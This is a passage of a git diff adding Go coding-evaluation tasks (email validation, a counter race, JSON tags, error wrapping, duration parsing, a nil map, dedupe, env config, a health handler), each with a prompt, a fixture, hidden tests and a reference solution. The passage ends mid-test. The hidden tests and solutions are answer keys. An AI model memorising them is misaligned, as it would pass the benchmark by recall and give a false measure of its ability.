"errors" + "testing" +) + +func TestNewEmailAccepts(t *testing.T) { + cases := map[string]string{ + "a@b.co": "a@b.co", + " User@Example.COM ": "User@example.com", + "first.last+tag@Sub.D.io": "first.last+tag@sub.d.io", + } + for in, want := range cases { + e, err := NewEmail(in) + if err != nil { + t.Errorf("NewEmail(%q) error: %v", in, err) + continue + } + if e.String() != want { + t.Errorf("NewEmail(%q).String() = %q, want %q", in, e.String(), want) + } + } +} + +func TestNewEmailRejects(t *testing.T) { + for _, in := range []string{"", " ", "nobody", "@example.com", "user@", "a@b@c.com", "user@localhost", "user@nodot"} { + if _, err := NewEmail(in); !errors.Is(err, ErrInvalidEmail) { + t.Errorf("NewEmail(%q) = %v, want ErrInvalidEmail", in, err) + } + } +} diff --git a/evals/tasks/05-email-validation/_solution/email.go b/evals/tasks/05-email-validation/_solution/email.go new file mode 100644 index 0000000..4798058 --- /dev/null +++ b/evals/tasks/05-email-validation/_solution/email.go @@ -0,0 +1,31 @@ +// Package email holds a validated email address type. +package email + +import ( + "errors" + "strings" +) + +// ErrInvalidEmail is returned for addresses that fail validation. +var ErrInvalidEmail = errors.New("email: invalid address") + +// Email is a validated address. Construct it with NewEmail. +type Email struct { + addr string +} + +// NewEmail validates s and returns it as an Email. +func NewEmail(s string) (Email, error) { + s = strings.TrimSpace(s) + if s == "" || strings.Count(s, "@") != 1 { + return Email{}, ErrInvalidEmail + } + local, domain, _ := strings.Cut(s, "@") + if local == "" || domain == "" || !strings.Contains(domain, ".") { + return Email{}, ErrInvalidEmail + } + return Email{addr: local + "@" + strings.ToLower(domain)}, nil +} + +// String returns the normalised address. +func (e Email) String() string { return e.addr } diff --git a/evals/tasks/05-email-validation/fixture/email.go b/evals/tasks/05-email-validation/fixture/email.go new file mode 100644 index 0000000..f60b24b --- /dev/null +++ b/evals/tasks/05-email-validation/fixture/email.go @@ -0,0 +1,20 @@ +// Package email holds a validated email address type. +package email + +import "errors" + +// ErrInvalidEmail is returned for addresses that fail validation. +var ErrInvalidEmail = errors.New("email: invalid address") + +// Email is a validated address. Construct it with NewEmail. +type Email struct { + addr string +} + +// NewEmail validates s and returns it as an Email. +func NewEmail(s string) (Email, error) { + return Email{addr: s}, nil +} + +// String returns the normalised address. +func (e Email) String() string { return e.addr } diff --git a/evals/tasks/05-email-validation/fixture/go.mod b/evals/tasks/05-email-validation/fixture/go.mod new file mode 100644 index 0000000..95fef66 --- /dev/null +++ b/evals/tasks/05-email-validation/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/email + +go 1.21 diff --git a/evals/tasks/05-email-validation/task.json b/evals/tasks/05-email-validation/task.json new file mode 100644 index 0000000..4f3ef7e --- /dev/null +++ b/evals/tasks/05-email-validation/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "NewEmail in email.go accepts any string. Make it validate its input. Rules: trim surrounding whitespace first; return ErrInvalidEmail when the result is empty, contains no '@' or more than one '@', has an empty part before or after the '@', or the part after the '@' contains no '.'. On success store the address with the domain (after the '@') lowercased and the local part (before the '@') unchanged. Do not change any exported names or signatures." +} diff --git a/evals/tasks/06-counter-race/_hidden/counter_hidden_test.go b/evals/tasks/06-counter-race/_hidden/counter_hidden_test.go new file mode 100644 index 0000000..c82bada --- /dev/null +++ b/evals/tasks/06-counter-race/_hidden/counter_hidden_test.go @@ -0,0 +1,41 @@ +package counter + +import ( + "sync" + "testing" +) + +func TestCounterConcurrentIncrements(t *testing.T) { + c := NewCounter() + var wg sync.WaitGroup + for g := 0; g < 50; g++ { + wg.Add(1) + go func() { + defer wg.Done() + for i := 0; i < 200; i++ { + c.Inc() + } + }() + } + for g := 0; g < 10; g++ { + wg.Add(1) + go func() { + defer wg.Done() + c.Add(5) + _ = c.Value() + }() + } + wg.Wait() + if got := c.Value(); got != 50*200+10*5 { + t.Errorf("Value = %d, want %d", got, 50*200+10*5) + } +} + +func TestCounterSequential(t *testing.T) { + c := NewCounter() + c.Inc() + c.Add(-3) + if c.Value() != -2 { + t.Errorf("Value = %d, want -2", c.Value()) + } +} diff --git a/evals/tasks/06-counter-race/_solution/counter.go b/evals/tasks/06-counter-race/_solution/counter.go new file mode 100644 index 0000000..599f4a6 --- /dev/null +++ b/evals/tasks/06-counter-race/_solution/counter.go @@ -0,0 +1,21 @@ +// Package counter provides a shared counter. +package counter + +import "sync/atomic" + +// Counter counts events. It is safe for concurrent use. +type Counter struct { + n atomic.Int64 +} + +// NewCounter returns a Counter at zero. +func NewCounter() *Counter { return &Counter{} } + +// Inc adds one. +func (c *Counter) Inc() { c.n.Add(1) } + +// Add adds delta. +func (c *Counter) Add(delta int64) { c.n.Add(delta) } + +// Value returns the current count. +func (c *Counter) Value() int64 { return c.n.Load() } diff --git a/evals/tasks/06-counter-race/fixture/counter.go b/evals/tasks/06-counter-race/fixture/counter.go new file mode 100644 index 0000000..70cc5d0 --- /dev/null +++ b/evals/tasks/06-counter-race/fixture/counter.go @@ -0,0 +1,19 @@ +// Package counter provides a shared counter. +package counter + +// Counter counts events. It is shared between goroutines. +type Counter struct { + n int64 +} + +// NewCounter returns a Counter at zero. +func NewCounter() *Counter { return &Counter{} } + +// Inc adds one. +func (c *Counter) Inc() { c.n++ } + +// Add adds delta. +func (c *Counter) Add(delta int64) { c.n += delta } + +// Value returns the current count. +func (c *Counter) Value() int64 { return c.n } diff --git a/evals/tasks/06-counter-race/fixture/go.mod b/evals/tasks/06-counter-race/fixture/go.mod new file mode 100644 index 0000000..4dd73fd --- /dev/null +++ b/evals/tasks/06-counter-race/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/counter + +go 1.21 diff --git a/evals/tasks/06-counter-race/task.json b/evals/tasks/06-counter-race/task.json new file mode 100644 index 0000000..1c054f5 --- /dev/null +++ b/evals/tasks/06-counter-race/task.json @@ -0,0 +1,4 @@ +{ + "prompt": "Counter in counter.go is used from many goroutines at once and has a data race: concurrent Inc calls lose updates and `go test -race` reports the race. Make Counter safe for concurrent use without changing its exported API (NewCounter, Inc, Add, Value).", + "test_args": ["-race"] +} diff --git a/evals/tasks/07-json-tags/_hidden/user_hidden_test.go b/evals/tasks/07-json-tags/_hidden/user_hidden_test.go new file mode 100644 index 0000000..b825ecf --- /dev/null +++ b/evals/tasks/07-json-tags/_hidden/user_hidden_test.go @@ -0,0 +1,46 @@ +package user + +import ( + "encoding/json" + "testing" + "time" +) + +func TestUserJSONKeys(t *testing.T) { + u := User{ID: 7, FullName: "Ada Lovelace", Email: "ada@example.com", CreatedAt: time.Date(2024, 1, 2, 3, 4, 5, 0, time.UTC), IsAdmin: true} + data, err := json.Marshal(u) + if err != nil { + t.Fatal(err) + } + want := `{"id":7,"full_name":"Ada Lovelace","email":"ada@example.com","created_at":"2024-01-02T03:04:05Z","is_admin":true}` + if string(data) != want { + t.Errorf("got %s\nwant %s", data, want) + } + + var back User + if err := json.Unmarshal(data, &back); err != nil { + t.Fatal(err) + } + if back != u { + t.Errorf("round trip changed the value: %+v", back) + } +} + +func TestUserEmptyEmailIsOmitted(t *testing.T) { + data, err := json.Marshal(User{ID: 1, FullName: "No Mail"}) + if err != nil { + t.Fatal(err) + } + var m map[string]any + if err := json.Unmarshal(data, &m); err != nil { + t.Fatal(err) + } + if _, present := m["email"]; present { + t.Errorf("empty email should be omitted: %s", data) + } + for _, k := range []string{"id", "full_name", "created_at", "is_admin"} { + if _, present := m[k]; !present { + t.Errorf("key %q missing: %s", k, data) + } + } +} diff --git a/evals/tasks/07-json-tags/_solution/user.go b/evals/tasks/07-json-tags/_solution/user.go new file mode 100644 index 0000000..8f278ae --- /dev/null +++ b/evals/tasks/07-json-tags/_solution/user.go @@ -0,0 +1,13 @@ +// Package user defines the API's user record. +package user + +import "time" + +// User is a user record as returned by the API. +type User struct { + ID int `json:"id"` + FullName string `json:"full_name"` + Email string `json:"email,omitempty"` + CreatedAt time.Time `json:"created_at"` + IsAdmin bool `json:"is_admin"` +} diff --git a/evals/tasks/07-json-tags/fixture/go.mod b/evals/tasks/07-json-tags/fixture/go.mod new file mode 100644 index 0000000..9d5bac0 --- /dev/null +++ b/evals/tasks/07-json-tags/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/user + +go 1.21 diff --git a/evals/tasks/07-json-tags/fixture/user.go b/evals/tasks/07-json-tags/fixture/user.go new file mode 100644 index 0000000..4a87c64 --- /dev/null +++ b/evals/tasks/07-json-tags/fixture/user.go @@ -0,0 +1,13 @@ +// Package user defines the API's user record. +package user + +import "time" + +// User is a user record as returned by the API. +type User struct { + ID int + FullName string + Email string + CreatedAt time.Time + IsAdmin bool +} diff --git a/evals/tasks/07-json-tags/task.json b/evals/tasks/07-json-tags/task.json new file mode 100644 index 0000000..7c5ff7c --- /dev/null +++ b/evals/tasks/07-json-tags/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "The User struct in user.go is serialised to JSON for an API whose clients expect snake_case keys: id, full_name, email, created_at, is_admin. Add the json struct tags so encoding/json produces exactly those keys, and make email omitted from the output when it is empty. Do not rename any Go fields." +} diff --git a/evals/tasks/08-error-wrapping/_hidden/config_hidden_test.go b/evals/tasks/08-error-wrapping/_hidden/config_hidden_test.go new file mode 100644 index 0000000..b4bed30 --- /dev/null +++ b/evals/tasks/08-error-wrapping/_hidden/config_hidden_test.go @@ -0,0 +1,47 @@ +package config + +import ( + "errors" + "os" + "path/filepath" + "strings" + "testing" +) + +func TestLoadConfigMissingFileIsNotExist(t *testing.T) { + _, err := LoadConfig(filepath.Join(t.TempDir(), "nope.conf")) + if !errors.Is(err, os.ErrNotExist) { + t.Fatalf("errors.Is(err, os.ErrNotExist) = false; err = %v", err) + } + if !strings.HasPrefix(err.Error(), "load config:") { + t.Errorf("message lost its prefix: %q", err) + } +} + +func TestLoadConfigEmptyFileIsErrEmpty(t *testing.T) { + p := filepath.Join(t.TempDir(), "empty.conf") + if err := os.WriteFile(p, []byte("# only a comment\n\n"), 0o644); err != nil { + t.Fatal(err) + } + _, err := LoadConfig(p) + if !errors.Is(err, ErrEmpty) { + t.Fatalf("errors.Is(err, ErrEmpty) = false; err = %v", err) + } + if !strings.Contains(err.Error(), "load config:") { + t.Errorf("message lost its prefix: %q", err) + } +} + +func TestLoadConfigStillParses(t *testing.T) { + p := filepath.Join(t.TempDir(), "ok.conf") + if err := os.WriteFile(p, []byte("a = 1\n# c\nb=two\n"), 0o644); err != nil { + t.Fatal(err) + } + got, err := LoadConfig(p) + if err != nil { + t.Fatal(err) + } + if got["a"] != "1" || got["b"] != "two" || len(got) != 2 { + t.Errorf("parsed = %v", got) + } +} diff --git a/evals/tasks/08-error-wrapping/_solution/config.go b/evals/tasks/08-error-wrapping/_solution/config.go new file mode 100644 index 0000000..69c7fb9 --- /dev/null +++ b/evals/tasks/08-error-wrapping/_solution/config.go @@ -0,0 +1,43 @@ +// Package config loads a key=value configuration file. +package config + +import ( + "bufio" + "errors" + "fmt" + "os" + "strings" +) + +// ErrEmpty is returned when the file has no key=value lines. +var ErrEmpty = errors.New("config file is empty") + +// LoadConfig reads path and returns its key=value pairs. +func LoadConfig(path string) (map[string]string, error) { + f, err := os.Open(path) + if err != nil { + return nil, fmt.Errorf("load config: %w", err) + } + defer f.Close() + + out := map[string]string{} + sc := bufio.NewScanner(f) + for sc.Scan() { + line := strings.TrimSpace(sc.Text()) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + k, v, ok := strings.Cut(line, "=") + if !ok { + continue + } + out[strings.TrimSpace(k)] = strings.TrimSpace(v) + } + if err := sc.Err(); err != nil { + return nil, fmt.Errorf("load config: %w", err) + } + if len(out) == 0 { + return nil, fmt.Errorf("load config: %w", ErrEmpty) + } + return out, nil +} diff --git a/evals/tasks/08-error-wrapping/fixture/config.go b/evals/tasks/08-error-wrapping/fixture/config.go new file mode 100644 index 0000000..bb7c0d9 --- /dev/null +++ b/evals/tasks/08-error-wrapping/fixture/config.go @@ -0,0 +1,43 @@ +// Package config loads a key=value configuration file. +package config + +import ( + "bufio" + "errors" + "fmt" + "os" + "strings" +) + +// ErrEmpty is returned when the file has no key=value lines. +var ErrEmpty = errors.New("config file is empty") + +// LoadConfig reads path and returns its key=value pairs. +func LoadConfig(path string) (map[string]string, error) { + f, err := os.Open(path) + if err != nil { + return nil, fmt.Errorf("load config: %v", err) + } + defer f.Close() + + out := map[string]string{} + sc := bufio.NewScanner(f) + for sc.Scan() { + line := strings.TrimSpace(sc.Text()) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + k, v, ok := strings.Cut(line, "=") + if !ok { + continue + } + out[strings.TrimSpace(k)] = strings.TrimSpace(v) + } + if err := sc.Err(); err != nil { + return nil, fmt.Errorf("load config: %v", err) + } + if len(out) == 0 { + return nil, fmt.Errorf("load config: %v", ErrEmpty) + } + return out, nil +} diff --git a/evals/tasks/08-error-wrapping/fixture/go.mod b/evals/tasks/08-error-wrapping/fixture/go.mod new file mode 100644 index 0000000..79209ed --- /dev/null +++ b/evals/tasks/08-error-wrapping/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/config + +go 1.21 diff --git a/evals/tasks/08-error-wrapping/task.json b/evals/tasks/08-error-wrapping/task.json new file mode 100644 index 0000000..db4d0f1 --- /dev/null +++ b/evals/tasks/08-error-wrapping/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "LoadConfig in config.go formats underlying errors with %v, which destroys the error chain: callers cannot use errors.Is(err, os.ErrNotExist) for a missing file or errors.Is(err, ErrEmpty) for an empty one. Fix LoadConfig so both checks work while keeping the \"load config:\" prefix in the message." +} diff --git a/evals/tasks/09-parse-duration/_hidden/duration_hidden_test.go b/evals/tasks/09-parse-duration/_hidden/duration_hidden_test.go new file mode 100644 index 0000000..dee5121 --- /dev/null +++ b/evals/tasks/09-parse-duration/_hidden/duration_hidden_test.go @@ -0,0 +1,38 @@ +package duration + +import ( + "errors" + "testing" + "time" +) + +func TestParseHumanValid(t *testing.T) { + cases := map[string]time.Duration{ + "45s": 45 * time.Second, + "90m": 90 * time.Minute, + "2h": 2 * time.Hour, + "1h30m": 90 * time.Minute, + "1d": 24 * time.Hour, + "1d 2h 3m 4s": 24*time.Hour + 2*time.Hour + 3*time.Minute + 4*time.Second, + " 10s ": 10 * time.Second, + "0s": 0, + } + for in, want := range cases { + got, err := ParseHuman(in) + if err != nil { + t.Errorf("ParseHuman(%q) error: %v", in, err) + continue + } + if got != want { + t.Errorf("ParseHuman(%q) = %v, want %v", in, got, want) + } + } +} + +func TestParseHumanInvalid(t *testing.T) { + for _, in := range []string{"", " ", "h", "5", "5x", "-5s", "1.5h", "abc", "5s5", "1h -2m"} { + if _, err := ParseHuman(in); !errors.Is(err, ErrInvalidDuration) { + t.Errorf("ParseHuman(%q) = %v, want ErrInvalidDuration", in, err) + } + } +} diff --git a/evals/tasks/09-parse-duration/_solution/duration.go b/evals/tasks/09-parse-duration/_solution/duration.go new file mode 100644 index 0000000..cf4b802 --- /dev/null +++ b/evals/tasks/09-parse-duration/_solution/duration.go @@ -0,0 +1,47 @@ +// Package duration parses human-written durations. +package duration + +import ( + "errors" + "strings" + "time" +) + +// ErrInvalidDuration is returned when the input cannot be parsed. +var ErrInvalidDuration = errors.New("duration: invalid") + +var units = map[byte]time.Duration{ + 'd': 24 * time.Hour, + 'h': time.Hour, + 'm': time.Minute, + 's': time.Second, +} + +// ParseHuman parses strings such as "1h30m", "45s", "2d" or "1d 2h" into a +// Duration. Supported units are d, h, m and s. +func ParseHuman(s string) (time.Duration, error) { + s = strings.Join(strings.Fields(s), "") + if s == "" { + return 0, ErrInvalidDuration + } + var total time.Duration + i := 0 + for i < len(s) { + start := i + var n int64 + for i < len(s) && s[i] >= '0' && s[i] <= '9' { + n = n*10 + int64(s[i]-'0') + i++ + } + if i == start || i == len(s) { + return 0, ErrInvalidDuration // no digits, or digits with no unit + } + unit, ok := units[s[i]] + if !ok { + return 0, ErrInvalidDuration + } + total += time.Duration(n) * unit + i++ + } + return total, nil +} diff --git a/evals/tasks/09-parse-duration/fixture/duration.go b/evals/tasks/09-parse-duration/fixture/duration.go new file mode 100644 index 0000000..a7fe244 --- /dev/null +++ b/evals/tasks/09-parse-duration/fixture/duration.go @@ -0,0 +1,16 @@ +// Package duration parses human-written durations. +package duration + +import ( + "errors" + "time" +) + +// ErrInvalidDuration is returned when the input cannot be parsed. +var ErrInvalidDuration = errors.New("duration: invalid") + +// ParseHuman parses strings such as "1h30m", "45s", "2d" or "1d 2h" into a +// Duration. Supported units are d, h, m and s. +func ParseHuman(s string) (time.Duration, error) { + return 0, errors.New("not implemented") +} diff --git a/evals/tasks/09-parse-duration/fixture/go.mod b/evals/tasks/09-parse-duration/fixture/go.mod new file mode 100644 index 0000000..cd41f3d --- /dev/null +++ b/evals/tasks/09-parse-duration/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/duration + +go 1.21 diff --git a/evals/tasks/09-parse-duration/task.json b/evals/tasks/09-parse-duration/task.json new file mode 100644 index 0000000..05cbfc0 --- /dev/null +++ b/evals/tasks/09-parse-duration/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "Implement ParseHuman in duration.go. It parses human-written durations made of one or more integer+unit terms, where the units are d (24 hours), h, m and s, for example \"1h30m\", \"45s\", \"2d\", \"1d 2h 3m 4s\". Terms may be separated by spaces and the input may have surrounding whitespace. Return the total as a time.Duration. Return ErrInvalidDuration for an empty string, a term with no number, no unit, an unknown unit, a negative sign, or any other garbage. Do not change the function signature." +} diff --git a/evals/tasks/10-nil-map/_hidden/inventory_hidden_test.go b/evals/tasks/10-nil-map/_hidden/inventory_hidden_test.go new file mode 100644 index 0000000..6e12dd9 --- /dev/null +++ b/evals/tasks/10-nil-map/_hidden/inventory_hidden_test.go @@ -0,0 +1,51 @@ +package inventory + +import ( + "errors" + "reflect" + "testing" +) + +func TestInventoryConstructorAndZeroValue(t *testing.T) { + for name, inv := range map[string]*Inventory{"NewInventory": NewInventory(), "zero value": {}} { + inv.Add("apple", 3) + inv.Add("apple", 2) + if got := inv.Count("apple"); got != 5 { + t.Errorf("%s: Count = %d, want 5", name, got) + } + if got := inv.Count("pear"); got != 0 { + t.Errorf("%s: Count(missing) = %d", name, got) + } + } + var zero Inventory + if got := zero.Items(); len(got) != 0 { + t.Errorf("zero Items = %v", got) + } + if got := zero.Count("x"); got != 0 { + t.Errorf("zero Count = %d", got) + } +} + +func TestInventoryRemove(t *testing.T) { + inv := NewInventory() + inv.Add("bolt", 4) + inv.Add("nut", 1) + if err := inv.Remove("bolt", 5); !errors.Is(err, ErrInsufficient) { + t.Errorf("Remove too many = %v, want ErrInsufficient", err) + } + if inv.Count("bolt") != 4 { + t.Errorf("failed Remove changed stock: %d", inv.Count("bolt")) + } + if err := inv.Remove("bolt", 4); err != nil { + t.Errorf("Remove exact = %v", err) + } + if inv.Count("bolt") != 0 { + t.Errorf("Count after removing all = %d", inv.Count("bolt")) + } + if got := inv.Items(); !reflect.DeepEqual(got, []string{"nut"}) { + t.Errorf("Items after removing all bolts = %v, want [nut]", got) + } + if err := inv.Remove("ghost", 1); !errors.Is(err, ErrInsufficient) { + t.Errorf("Remove unknown = %v, want ErrInsufficient", err) + } +} diff --git a/evals/tasks/10-nil-map/_solution/inventory.go b/evals/tasks/10-nil-map/_solution/inventory.go new file mode 100644 index 0000000..829b86f --- /dev/null +++ b/evals/tasks/10-nil-map/_solution/inventory.go @@ -0,0 +1,57 @@ +// Package inventory tracks item counts. +package inventory + +import ( + "errors" + "sort" +) + +// ErrInsufficient is returned when removing more than is in stock. +var ErrInsufficient = errors.New("inventory: insufficient stock") + +// Inventory maps item names to counts. The zero value is ready to use. +type Inventory struct { + items map[string]int +} + +// NewInventory returns an empty Inventory. +func NewInventory() *Inventory { + return &Inventory{items: make(map[string]int)} +} + +// Add increases the count for name by n. +func (inv *Inventory) Add(name string, n int) { + if inv.items == nil { + inv.items = make(map[string]int) + } + inv.items[name] += n +} + +// Remove decreases the count for name by n. +func (inv *Inventory) Remove(name string, n int) error { + have := inv.items[name] + if n > have { + return ErrInsufficient + } + if n == have { + delete(inv.items, name) + return nil + } + inv.items[name] = have - n + return nil +} + +// Count returns how many of name are held. +func (inv *Inventory) Count(name string) int { + return inv.items[name] +} + +// Items returns the held item names, sorted. +func (inv *Inventory) Items() []string { + out := make([]string, 0, len(inv.items)) + for k := range inv.items { + out = append(out, k) + } + sort.Strings(out) + return out +} diff --git a/evals/tasks/10-nil-map/fixture/go.mod b/evals/tasks/10-nil-map/fixture/go.mod new file mode 100644 index 0000000..3d63dfc --- /dev/null +++ b/evals/tasks/10-nil-map/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/inventory + +go 1.21 diff --git a/evals/tasks/10-nil-map/fixture/inventory.go b/evals/tasks/10-nil-map/fixture/inventory.go new file mode 100644 index 0000000..0278360 --- /dev/null +++ b/evals/tasks/10-nil-map/fixture/inventory.go @@ -0,0 +1,46 @@ +// Package inventory tracks item counts. +package inventory + +import ( + "errors" + "sort" +) + +// ErrInsufficient is returned when removing more than is in stock. +var ErrInsufficient = errors.New("inventory: insufficient stock") + +// Inventory maps item names to counts. +type Inventory struct { + items map[string]int +} + +// NewInventory returns an empty Inventory. +func NewInventory() *Inventory { + return &Inventory{} +} + +// Add increases the count for name by n. +func (inv *Inventory) Add(name string, n int) { + inv.items[name] += n +} + +// Remove decreases the count for name by n. +func (inv *Inventory) Remove(name string, n int) error { + inv.items[name] -= n + return nil +} + +// Count returns how many of name are held. +func (inv *Inventory) Count(name string) int { + return inv.items[name] +} + +// Items returns the held item names, sorted. +func (inv *Inventory) Items() []string { + out := make([]string, 0, len(inv.items)) + for k := range inv.items { + out = append(out, k) + } + sort.Strings(out) + return out +} diff --git a/evals/tasks/10-nil-map/task.json b/evals/tasks/10-nil-map/task.json new file mode 100644 index 0000000..f17ca49 --- /dev/null +++ b/evals/tasks/10-nil-map/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "Inventory in inventory.go panics on the first Add because its map is never initialised. Fix it so that both NewInventory() and a zero-value `var inv Inventory` are usable. Also make Remove return ErrInsufficient (without changing the stock) when asked to remove more than is held, and remove the key entirely when the count reaches zero so Count reports it as 0 and Items no longer lists it." +} diff --git a/evals/tasks/11-dedupe/_hidden/dedupe_hidden_test.go b/evals/tasks/11-dedupe/_hidden/dedupe_hidden_test.go new file mode 100644 index 0000000..3ea50b1 --- /dev/null +++ b/evals/tasks/11-dedupe/_hidden/dedupe_hidden_test.go @@ -0,0 +1,38 @@ +package slices + +import ( + "reflect" + "testing" +) + +func TestDedupe(t *testing.T) { + cases := []struct { + in, want []string + }{ + {nil, []string{}}, + {[]string{}, []string{}}, + {[]string{"a"}, []string{"a"}}, + {[]string{"a", "b", "a", "c", "b"}, []string{"a", "b", "c"}}, + {[]string{"x", "x", "x"}, []string{"x"}}, + {[]string{"A", "a"}, []string{"A", "a"}}, + {[]string{"", "", "z"}, []string{"", "z"}}, + } + for _, c := range cases { + got := Dedupe(c.in) + if got == nil { + t.Errorf("Dedupe(%v) returned nil, want a non-nil slice", c.in) + continue + } + if !reflect.DeepEqual(got, c.want) { + t.Errorf("Dedupe(%v) = %v, want %v", c.in, got, c.want) + } + } +} + +func TestDedupeDoesNotMutateInput(t *testing.T) { + in := []string{"b", "a", "b"} + _ = Dedupe(in) + if !reflect.DeepEqual(in, []string{"b", "a", "b"}) { + t.Errorf("input was modified: %v", in) + } +} diff --git a/evals/tasks/11-dedupe/_solution/dedupe.go b/evals/tasks/11-dedupe/_solution/dedupe.go new file mode 100644 index 0000000..cece05e --- /dev/null +++ b/evals/tasks/11-dedupe/_solution/dedupe.go @@ -0,0 +1,16 @@ +// Package slices has small slice helpers. +package slices + +// Dedupe returns in with duplicate strings removed, first occurrence kept. +func Dedupe(in []string) []string { + out := make([]string, 0, len(in)) + seen := make(map[string]struct{}, len(in)) + for _, s := range in { + if _, dup := seen[s]; dup { + continue + } + seen[s] = struct{}{} + out = append(out, s) + } + return out +} diff --git a/evals/tasks/11-dedupe/fixture/dedupe.go b/evals/tasks/11-dedupe/fixture/dedupe.go new file mode 100644 index 0000000..82d7a94 --- /dev/null +++ b/evals/tasks/11-dedupe/fixture/dedupe.go @@ -0,0 +1,7 @@ +// Package slices has small slice helpers. +package slices + +// Dedupe returns in with duplicate strings removed, first occurrence kept. +func Dedupe(in []string) []string { + return in +} diff --git a/evals/tasks/11-dedupe/fixture/go.mod b/evals/tasks/11-dedupe/fixture/go.mod new file mode 100644 index 0000000..3ffd2a8 --- /dev/null +++ b/evals/tasks/11-dedupe/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/slices + +go 1.21 diff --git a/evals/tasks/11-dedupe/task.json b/evals/tasks/11-dedupe/task.json new file mode 100644 index 0000000..718db3b --- /dev/null +++ b/evals/tasks/11-dedupe/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "Implement Dedupe in dedupe.go: return the input strings with duplicates removed, keeping the first occurrence of each and preserving order. Comparison is case-sensitive. A nil or empty input returns an empty, non-nil slice. The input slice must not be modified." +} diff --git a/evals/tasks/12-env-config/_hidden/env_hidden_test.go b/evals/tasks/12-env-config/_hidden/env_hidden_test.go new file mode 100644 index 0000000..558ef2c --- /dev/null +++ b/evals/tasks/12-env-config/_hidden/env_hidden_test.go @@ -0,0 +1,56 @@ +package envconfig + +import "testing" + +func TestLoadDefaults(t *testing.T) { + t.Setenv("APP_PORT", "") + t.Setenv("APP_HOST", "") + t.Setenv("APP_DEBUG", "") + cfg, err := Load() + if err != nil { + t.Fatal(err) + } + if cfg != (Config{Port: 8080, Host: "127.0.0.1", Debug: false}) { + t.Errorf("defaults = %+v", cfg) + } +} + +func TestLoadValues(t *testing.T) { + t.Setenv("APP_PORT", "9000") + t.Setenv("APP_HOST", "0.0.0.0") + for _, v := range []string{"true", "TRUE", "1"} { + t.Setenv("APP_DEBUG", v) + cfg, err := Load() + if err != nil { + t.Fatal(err) + } + if cfg != (Config{Port: 9000, Host: "0.0.0.0", Debug: true}) { + t.Errorf("APP_DEBUG=%q: %+v", v, cfg) + } + } + for _, v := range []string{"yes", "0", "false", "t"} { + t.Setenv("APP_DEBUG", v) + cfg, err := Load() + if err != nil { + t.Fatal(err) + } + if cfg.Debug { + t.Errorf("APP_DEBUG=%q should be false", v) + } + } +} + +func TestLoadRejectsBadPort(t *testing.T) { + t.Setenv("APP_HOST", "") + t.Setenv("APP_DEBUG", "") + for _, v := range []string{"abc", "0", "-1", "65536", "80.5"} { + t.Setenv("APP_PORT", v) + if _, err := Load(); err == nil { + t.Errorf("APP_PORT=%q should be rejected", v) + } + } + t.Setenv("APP_PORT", "65535") + if cfg, err := Load(); err != nil || cfg.Port != 65535 { + t.Errorf("APP_PORT=65535: %+v %v", cfg, err) + } +} diff --git a/evals/tasks/12-env-config/_solution/env.go b/evals/tasks/12-env-config/_solution/env.go new file mode 100644 index 0000000..3f3b3fc --- /dev/null +++ b/evals/tasks/12-env-config/_solution/env.go @@ -0,0 +1,38 @@ +// Package envconfig reads the service configuration from the environment. +package envconfig + +import ( + "fmt" + "os" + "strconv" + "strings" +) + +// Config is the service configuration. +type Config struct { + Port int + Host string + Debug bool +} + +// Load reads APP_PORT, APP_HOST and APP_DEBUG. +func Load() (Config, error) { + cfg := Config{Port: 8080, Host: "127.0.0.1"} + if v := os.Getenv("APP_PORT"); v != "" { + port, err := strconv.Atoi(v) + if err != nil { + return Config{}, fmt.Errorf("APP_PORT %q is not an integer: %w", v, err) + } + if port < 1 || port > 65535 { + return Config{}, fmt.Errorf("APP_PORT %d is out of range 1..65535", port) + } + cfg.Port = port + } + if v := os.Getenv("APP_HOST"); v != "" { + cfg.Host = v + } + if v := os.Getenv("APP_DEBUG"); strings.EqualFold(v, "true") || v == "1" { + cfg.Debug = true + } + return cfg, nil +} diff --git a/evals/tasks/12-env-config/fixture/env.go b/evals/tasks/12-env-config/fixture/env.go new file mode 100644 index 0000000..b84424e --- /dev/null +++ b/evals/tasks/12-env-config/fixture/env.go @@ -0,0 +1,14 @@ +// Package envconfig reads the service configuration from the environment. +package envconfig + +// Config is the service configuration. +type Config struct { + Port int + Host string + Debug bool +} + +// Load reads APP_PORT, APP_HOST and APP_DEBUG. +func Load() (Config, error) { + return Config{}, nil +} diff --git a/evals/tasks/12-env-config/fixture/go.mod b/evals/tasks/12-env-config/fixture/go.mod new file mode 100644 index 0000000..65fc0f5 --- /dev/null +++ b/evals/tasks/12-env-config/fixture/go.mod @@ -0,0 +1,3 @@ +module example.com/envconfig + +go 1.21 diff --git a/evals/tasks/12-env-config/task.json b/evals/tasks/12-env-config/task.json new file mode 100644 index 0000000..e17ed67 --- /dev/null +++ b/evals/tasks/12-env-config/task.json @@ -0,0 +1,3 @@ +{ + "prompt": "Implement Load in env.go so it reads configuration from environment variables. APP_PORT: integer port, default 8080 when unset or empty; return an error if it is not an integer or is outside 1..65535. APP_HOST: default \"127.0.0.1\" when unset or empty. APP_DEBUG: true only when the value is exactly \"true\" or \"1\" (case-insensitive for \"true\"); anything else, including unset, is false. Do not change the Config type or the Load signature." +} diff --git a/evals/tasks/13-health-handler/_hidden/health_hidden_test.go b/evals/tasks/13-health-handler/_hidden/health_hidden_test.go new file mode 100644 index 0000000..dad6b8c --- /dev/null +++ b/evals/tasks/13-health-handler/_hidden/health_hidden_test.go @@ -0,0 +1,44 @@ +package health + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "testing" +) + +func TestHealthGet(t *testing.T) { + rec := httptest.NewRecorder() + HealthHandler(rec, httptest.NewRequest(http.MethodGet, "/healthz", nil)) + if rec.Code != http.StatusOK { + t.Fatalf("status = %d", rec.Code) + } + if ct := rec.Header().Get("Content-Type"); !strings.HasPrefix(ct, "application/json") { + 